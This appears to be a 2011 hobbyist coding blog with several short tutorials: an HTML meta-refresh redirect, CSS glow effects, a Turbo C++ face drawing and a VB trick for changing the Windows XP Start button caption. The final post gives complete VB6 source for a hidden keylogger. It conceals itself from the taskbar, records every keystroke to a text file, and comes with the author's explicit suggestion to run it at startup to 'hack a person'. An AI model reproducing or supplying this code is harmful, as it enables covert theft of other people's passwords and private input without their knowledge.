Wednesday 14 December 2011

Meta redirecting : Automatically redirects to another page



Meta redirecting is a facility in html which can be used for automatic redirection. If a page contains meta redirecting tag then the page will redirects to other page as given in the tag. This tag is very useful in a registration  page. That is we can use it after the page of registration so as to redirects to the users page automatically.
Here is the code :-
         
<meta HTTP-EQUIV="REFRESH" content="0;url= http://extracoding.blogspot.com">
       http://extracoding.blogspot.com/

You ony need to change the url address to your wish and copy it to the desired page. You can change the value of content to 1,2,..etc for redirection after 1 sec, 2 sec,….etc. for example
The page that contains
<meta HTTP-EQUIV="REFRESH" content="2;url= http://extracoding.blogspot.com">
  redirects to http://extracoding.blogspot.com after 2 second. So enjoy it. If you need step by step process of this code implementation please comment here. Ok ! I will come again with an amazing script

Saturday 10 December 2011

CSS : Shadow effect for Heading, Firing and glowing effect script


       Hey, now I am discussing about shadow effect in CSS. The word CSS means Cascading Style Sheet. It’s a simple code. But it had so many uses. We can create a firing text for caption or for a heading for your website, etc..
The shadow effect is not just a command it’s a powerful code for attractive text.
Using it we can even make a glowing heading also

Here is the code. Lets enjoy the new effect.

             text-shadow: 4px 4px 3px #C80000 ;
      
      here is the preview :
 
 




now I will explain the parameters
the first one is X-OFFSET
the second  is Y-OFFSET
the third parameter is BLUR
and the last is nothing but the COLOUR.

Now look at the next code. It can be used for more attractive. Its like a neon lighting.
It uses multiple shadow effect.

Here is the code. Do it yourself
             color:#ffffff;
text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 30px #fff, 0 0 10px #ff00de, 0 0 20px #ff00de, 0 0 30px #ff00de, 0 0 40px #ff00de, 0 0 50px #ff00de;">
               
see the preview  :
 




 please convey your feelings.comment here

Wednesday 7 December 2011

C++ : How to draw a face of human in Turbo C++


Friends the turbo C++ window is a limited window. Using that limitation trying to make a different program is very interesting. So I thought about it for a new idea . it lead to me to make a program which draw a face on the output window. This program is using the functions which draws circle, line, curve, ellipse. I think it is not very difficult. You can easily understand this program by simply reading.so enjoy it!!!!!!
 #include <graphics.h>
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>

int main(void)
{
   /* request auto detection */
   int gdriver = DETECT, gmode, errorcode;
   int midx, midy;
   int radius = 200;                //circle
   int stangle = 0, endangle = 360; //ellipse
   int stangle1 =220, endangle1 =320;//arc
   int radius1 = 145;
   int xmax, ymax;   //line

   /* initialize graphics and local variables */
   initgraph(&gdriver, &gmode, "");

   /* read result of initialization */
   errorcode = graphresult();
   if (errorcode != grOk)  /* an error occurred */
   {
      printf("Graphics error: %s\n", grapherrormsg(errorcode));
      printf("Press any key to halt:");
      getch();
      exit(1); /* terminate with an error code */
   }

   midx = getmaxx() / 2;
   midy = getmaxy() / 2;
   setcolor(getmaxcolor());

   /* draw the face */
   circle(midx, midy, radius);  //face outline
   circle(220, 190, 30);  // eye 1
   circle(410, 190, 30);  //eye 2          //xradius,yradius
   ellipse(midx, 270, stangle, endangle,25, 70);  //nose
   arc(midx, midy, stangle1, endangle1, radius1);  //mouth
   //    x,   y,  to x,to y
   line(223, 310, 194, 350); // side of mouth
   line(410, 310, 448, 355); // side of mouth
   /* clean up */
   getch();
   closegraph();
   return 0;
}

               If you had any doubt please mail me or comment here. 

Tuesday 6 December 2011

Visual Basic: Marquee text on Start Button of Windows XP!


      Dear vb programmers, hear i am discussing about an entirely amazing one. In windows XP the Start Button is very boring. it is not enough attractive. The text "start" on it is not liked by me. i hope you also thinked like me. So i started research on 'how to change Start Button caption'. thus I could realize that in the 'explorer' file there is a position where the Start Button caption("start") is stored if we change it to our desire we can see the change on Start Button also. Then i created a vb program to change it. But the Start Button had a limitation that it can contain only 4-5 characters. So I added a timer which can randomly change the text and it can look like a moving text (marquee).
  1. Start visual basic.
  2. Add a module and copy the below code to it ................................................................................................................................................
Private Const WM_SETTEXT = &HC
Private Const WM_GETTEXT = &HD
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function SendMessageSTRING Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long

Public Sub SetStartCaption(str As String)
Dim StartBar As Long
Dim StartBarText As Long
Dim sCaption As String
StartBar = FindWindow("Shell_TrayWnd", vbNullString)
StartBarText = FindWindowEx(StartBar, 0&, "button", vbNullString)
sCaption = Left(str, 5)
SendMessageSTRING StartBarText, WM_SETTEXT, 256, sCaption
Exit Sub
End Sub
................................................................................................................................................................
  1. Add a command button,  a timer with interval=250, two text boxes.
  2.  Add the below  code to the code window ........................................................................................................................................................

Private Sub Command1_Click()
Text2.Text = Text1.Text
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Command1.Visible = False
SetStartCaption Text2.Text
Text2.SelStart = 0
Text2.SelLength = 1
Text2.SelText = ""
If Text2.Text = "" Then
Text2.Text = "     " + Text1.Text
End If
End Sub
.................................................................................................................................................................

Now its ready , Enjoy it!
So please try it and convey your opinion and doubts to me.
Please comment your expression on this.

Saturday 3 December 2011

Visual Basic : Simple keylogger script, stores keys entered on keyboard,in a .txt file

This is a simple script for vb6. you can store all keys typed by a user. you only need to do some simple steps.
  if you are making this program to run on startup it stores all keys. through this you can even hack a person.
  its an amazing !!!

1. open visual basic and start a 'standard form'.
2. add a timer, one text box to the form.
3. make form visibility hidden.
4. copy the below code to code window.

.............................................................................................

   Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()
App.TaskVisible = False 'makes your form invisible from user
End Sub

Private Sub Timer1_Timer()
For i = 32 To 128 'Changed to 32 to 128
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr$(i) 'Adding the $ sign
End If
Next i
If Len(Text1.Text) = 20 Then
On Error Resume Next
    Open "C:\Program Files\HaariSoft\secrets.txt" For Append As #1 'saving the text enterd
    Print #1, Text1.Text
    Text1.Text = "" 'clearing the text box
    Close #1
    End If
    Exit Sub

End Sub

..............................................................................................
  
5. make value of timer interval to 1
6. make form visibility hidden
7. execute it and make .exe file
8. before doing this you had to create adirectory :- "C:\Program Files\HaariSoft\secrets.txt"


if you want to hack any one making this program to run on startup. it stores all keys. through this you can even hack a person.
  its an amazing !!!
If you had any doubt please mail to me harishjose007@rediffmail.com